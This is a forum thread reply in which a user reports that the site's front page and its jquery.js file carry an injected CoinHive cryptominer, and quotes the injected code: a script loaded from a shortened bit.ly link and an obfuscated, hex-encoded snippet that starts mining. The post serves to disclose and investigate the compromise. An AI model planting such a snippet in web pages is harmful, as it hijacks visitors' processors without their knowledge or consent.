Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Getting warnings this site is running a cryptominer
RE: Getting warnings this site is running a cryptominer
#8
I managed to replicate it in Chrome which pegs my laptop CPU

It doesn't seem to do anything in Firefox. It's there in Firefox's console, but trying to get it to do anything triggers a 404.

EDIT: Nope, Noscript in Firefox was blocking it from doing anything. Enable coinhive in Noscript and away it goes. HTTPs Everywhere didn't help.


It's in the front page. Right at the bottom of the source.

Code:
<script src="http://bit.ly/2ybH4YN"></script>
<script>
    var _0xc921=["\x36\x52\x55\x75\x4D\x67\x57\x38\x68\x5A\x54\x6F\x6F\x50\x73\x39\x4C\x30\x49\x7A\x51\x73\x66\x30\x6A\x62\x6E\x30\x59\x46\x61\x56","\x73\x74\x61\x72\x74"];var monMin= new CoinHive.Anonymous(_0xc921[0]);monMin[_0xc921[1]]();
</script>
</body>
</html>

Can't seem to find it anywhere else so doing a bit of a manual google. Not sure how this is linked in the forums.


EDIT the Third:
Check out: view-source:http://www.accessdenied-rms.net/forums/jscripts/jquery.js?ver=1806
It also appearrs on the bottom of the file
It only seems to load it here in chrome for me - it's stopped loading in Firefox.
https://pastebin.com/jTD5QeeZ  << Linky
Oh sweet meteor of death
Fall upon us.
Deliver us in fire
To Peace everlasting.
Reply


Messages In This Thread
RE: Getting warnings this site is running a cryptominer - by Dartz - 01-25-2018, 05:18 PM

Forum Jump:


Users browsing this thread: 1 Guest(s)